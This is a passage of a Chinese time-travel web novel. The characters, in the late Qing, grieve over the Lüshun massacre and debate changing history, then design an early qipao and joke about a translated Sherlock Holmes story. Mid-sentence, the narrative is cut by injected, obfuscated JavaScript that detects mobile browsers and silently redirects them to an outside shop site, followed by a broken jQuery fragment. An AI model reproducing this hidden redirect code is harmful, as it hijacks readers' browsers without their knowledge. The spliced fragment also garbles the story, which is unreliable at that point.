等太阳嘴上沾血地跑回来时,赵清之没有感到痛快,反而忽然后悔自己刚才的决定了。
他怎么能让一个前主人刚刚死在日本人手下的小狗去咬一个日本间谍呢?这不是侮辱小狗吗?
赵清之和太阳头对头,歉声道:“对不起啊,太阳,是我不好,今天我给你做你最爱吃的清炖牛腱补偿你。”
赵清如忽然冷不丁地抛出了一个问题:“槐安,你觉得青山夏树真是日本人吗?”
宋槐安梳头的动作一顿,回身问道:“如姐,你觉得有哪里不对吗?应该不会,抛开他在船上时就不对劲不说,他自己都亲口承认了,还会有别的可能性吗?”
“我只是、只是觉得他长得似乎不太像东亚人?日本人虽和我们隔着一片海,但终归是同种人种,但是我瞧他的骨相,比起我们,他倒有几分水神父那种西洋人的意思。”
宋槐安微微一怔:“你是说像洋人吗?我第一次见他时,是觉得他和我们有点差异,模样上似乎更接近我们新疆的少数民族。不过也不是完全不合理,如姐有所不知,日本人中本身就有一类人长得非常浓颜,有些接近混血。这么一说,他倒确实像我小时候蛮喜欢的一个日本演员——阿部宽。”
赵清之一边罗列着一会要买的菜和肉,一边小声嘟囔道:“哼,第一次见到他的时候,也不知道是谁,本来还在骂我害她上了贼船,一瞧见人家是我也不骂了、船也不晕了、眼也不花了,精气神可足了!阿部宽不宽我不知道,但你当时心可宽了。”
“赵清之!你这话什么意思?”宋槐安本来有点萎靡的人眼神登时清明了不少,“那人是我拍板放上船的吗?究竟是谁当时善心大发,看人家大包小包的可怜,许他登了船,先斩后奏地跟我说反正多一个人船也不会被压沉的?”
赵清之也不明白自己刚才为什么脱口而出那么一段迷惑发言,他立即解释道:“对不起啊,我没有怪你的意思,我是说他确实长得不像坏人,我们大家都被他的外表迷惑了。不单是你我,船上其他人不都被他哄得乐呵呵,大家都夸他人真好吗?”
赵清如眉心紧蹙,又问道:“槐安,旅顺又是怎么回事?当时你为什么那么紧张?甚至可以说难过?”
宋槐安哽咽着提起今年年底发生在旅顺的那场暴行,提及惨死了两万多同胞时,赵清之提笔的手开始不受控制地抖动,他感觉自己一段时间不曾复发的耳鸣症状又出现了,他颤声问道:“多、多少人?两万?直接屠城吗?对那些手无寸铁的老百姓吗?”
他不理解为什么会有国家的军人竟然能犯下这样反人类的罪行,即便是他童年记忆里杀人如麻的金兵,也没有惨无人道至此。
他终于理解了宋槐安方才听到旅顺时为什么会是那个反应,因为如果要较真的话,是他们助了刽子手一臂之力。
宋槐安却心知肚明,这并不是日本最后一次对她同胞的杀戮,若干年后,他们会在南京那座美丽的千年古都,犯下更为令人发指的罪行。
赵清如眼见两个年轻人双双沉入深不见底的自责里,心头登时一沉。赵清之的状态才堪堪平稳了些日子,她那颗悬了许久的心刚稍稍落地,瞧这光景,怕是又要反复。
更叫她放心不下的是宋槐安。这孩子素来心思重,即便脸上瞧着与平日并无二致,心底却早翻江倒海,早把所有过错都揽到了自己身上。
她抬手分别按在两人肩头,语声放得极轻柔:“槐安,清之,你们听我说,你们两个人没有做错任何事。你们不是战犯,不必把罪责都扛在自己肩上。你们都还年轻,待人处世没什么防备心。况且那青山夏树必然受过专门的训练,最懂拿捏人心,瞒过你们实在算不得什么。你们在当时的处境里,已经尽了普通人能尽的本分,换成旁人去就一定能改写结局吗?你们不是职业军人,不能拿专业谍探的眼力去要求自己,那对你们太不公平了。”
“如姐,还来得及的,一定还来得及……”宋槐安神思纷乱,脑子里已经开始疯转,要怎么才能提醒旅顺的百姓,躲开那段可怕的历史,“我们能阻止那一切发生的,对不对?”
赵清如立即猜到了她的心思,她双手捧住宋槐安惶然发白的面庞,温声道:“槐安,看着我。你冷静一点,我在你身边。你听我说,倘若历史真能改变,邓管带此刻就该好好活着,是不是?你一定会说这二者不一样,我知道这话太残忍,可在宏大的历史面前,一个人的性命和一座城的性命,或许没有孰轻孰重。”
她顿了顿,看着她泛红的眼眶,一字一句问下去:“更何况你能做什么?把消息报去官府?那些尸位素餐的官员,会信我们的话吗?还是你要亲自去旅顺,劝当地人尽快离开?他们中很多人兴许活了一辈子都不曾远走半步,又怎肯轻易抛下这生于斯长于斯的故土?只怕到时反倒要当我们是通敌的细作,直接报了官。还有,扰乱历史的代价又是什么呢?若旅顺的人民逃过这一劫,遭殃的会不会是另一座城的人民呢?”
赵清之无力地问道:“难道我们要什么都不做吗?眼睁睁看着一切发生吗?”
赵清如摇摇头,目光落在了太阳身上:“不,对于他人的苦难视而不见绝非君子所为,容我想想吧,看有没有什么法子,能让我们至少救下一些并不会改变历史进程的人。”
赵清如担心二人的状态,索性将手头事务尽数交托给可靠之人打理,给自己匀出一段空暇。既能松缓她绷了许久的神经,也能好好陪着她们。
她约了孟瑶光到宋槐安的店里,宋槐安和赵清之忙着各自手头的活计,她二人便坐在旁侧,对着孟瑶光新绘的服装设计稿细细讨论。
这数月赵清如忙于他事无暇分心,孟瑶光已独自撑起了云裳庄。铺子规模虽不算大,却凭着中西合璧的设计风格,在京中闯开了名头。
她到底向父亲证明了自己足以独当一面,也证明她坚持的服装革新理念,绝非他先前认为的离经叛道。
宋槐安拖着一身倦意从暗房出来,一眼瞥见案头摊着的一叠画稿。她伏在桌边翻了几张,只看那几笔修改的痕迹,便认出是赵清如的手笔。
那种由两片独立裙片交叠围合而成的便是旋裙,穿起来格外灵便称身。裙身无褶,自然垂坠出微修身的弧度,既衬得身形修长利落,又因下摆左右交叠、开合随性的设计,骑马时全无束缚。从前她学骑马那段日子,赵清如纵然手头事务繁杂,仍亲手为她裁制了两件换穿。
那条钻石形剪裁的裤子,版型竟与她从前惯穿的运动裤十分相仿。裆部采用立体剪裁而非普通平面裁剪,无论迈步走路还是屈膝蹲坐,都舒展自如,半分也不卡裆,穿着格外舒适。
裤腰两侧加装耳襻的设计也深得她心,搭配系带便可实现腰围三寸上下的自由调节,恰好适配她不同场合、不同时节里腰围的变化。
凡此种种服饰上的奇妙巧思,皆是宋朝人的智慧结晶,自从认识了赵清如,宋槐安像拥有了一家汉服不限时体验店。
宋槐安素来觉得传统汉服雅致动人,可自己身形过于丰满,穿在身上总难免显得臃肿沉坠,心里便渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653853|204174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
渐念起了一种极合她身段的衣式。
她向孟瑶光讨了纸笔,微一凝思,便落笔勾出一件形制简洁的旗袍。这种形制本要到下世纪二十年代方才问世,经她这一笔,竟提前了近三十年露了雏形。
赵清之忙完手头的拍摄,也凑上前来,正撞见纸上的旗袍图样。他啧啧称奇地拿起稿纸,点评道:“好精巧的设计,这腰身收得像只玉瓶,只是这袖子会不会稍短了些?”
孟瑶光接过图纸扫了一眼,也连声赞好,跟着问道:“这该是旗装改良的式样吧?不过赵先生说得也有道理,这袖型确实前卫了些。不如改成长些的七分袖?露出小半截手腕,分寸是不是刚好?”
赵清之赞道:“垆边人似月,皓腕凝霜雪……孟掌柜的所言甚是。”
赵清如侧过脸,扫了眼孟瑶光手中的图样,微微颔首,浅笑道:“真好看,只是这领口似乎偏高了些。脖颈不够纤长的人穿,只怕会显得颈短。还有这盘扣,换个样式会不会更妥帖?”
宋槐安将三人的建议都听进心里,提笔重改了一版:领口压得更低,盘扣换了别致样式。她没有生硬地直接加长袖身,而是从肩线处起笔,添了一段垂坠感的纱料,一直垂到小臂中段。
她指着图样解释:“你看,这一截不用和裙身用同一种料子,换成同色的软纱,做得宽松些。既能藏住手臂的肉感,这种若隐若现的质地,也不会让整件旗袍显得沉闷厚重。”
赵清如满眼欣慰地揉了揉她的发顶,像个觉得自家丑孩子也能当童模的自信母亲:“真是顶好的创意,我们槐安怎么这样厉害?”
宋槐安被夸得脸颊微热,心里却有些发虚。旗袍形制又不是她的首创,她哪好意思踩着前人的成果受这份夸赞?
她还没来得及解释,赵清之的手居然也放她头上了,只不过不同于赵清如母亲一般慈爱的抚摸手法,他揉她头的手法完全是在撸狗时候的手法。
他揉乱了她的头发,问道:“你什么时候变这么厉害了?可以啊你!太可惜了,既然你这么有设计的天分,成天躲在暗房里洗照片多伤眼睛啊,不如你把这间照相馆转让给我?你去追求你的设计梦想?我一定会给予你除帮助以外的一切支持!”
宋槐安烦躁地躲开他乱揉自己发顶的手,踹了他小腿一脚:“想得美,做你的春秋大梦去吧!就是慈禧本人来了,这也是我名下的店。”
赵清如拽着赵清之坐下,递给他一本册子:“你没事做是吧?那我给你找点事做。这是水神父先前给我看过的一则西洋推理故事,原文是英文,我这几日刚翻译了一份。案子曲折得很,你夜里倘是睡不着,便翻两页解闷。”
“洋人的故事?我哪看得惯这些。”赵清之嘀嘀咕咕地接过册子,翻开扫了没几行,眉头登时拧成了疙瘩,“歇洛克?呵尔唔斯?滑震?这是人类的名字?拗口都拗到舌头根了。不行不行,我铁定看不下,姐你还是收回去吧。”
一旁静听的宋槐安心头猛地一动,那两个拗口的译名撞在耳里,竟勾出几分跨越时空的熟悉感。她迟疑着截话:“等会儿,推理故事?英国人的?歇洛克?呵尔唔斯……SherlockHolmes?滑震——Watson?”
赵清如眼底掠过一丝诧异。她原以为这西洋故事在国内流传不广,没料到宋槐安竟也知晓,便颔首道:“怎么,你也喜欢这书中的两位主角?”
宋槐安轻笑道:“岂止我喜欢?这可是全世界人民都喜闻乐见的故事啊。泰晤士河再流两个世纪,他们也是经典中的经典。”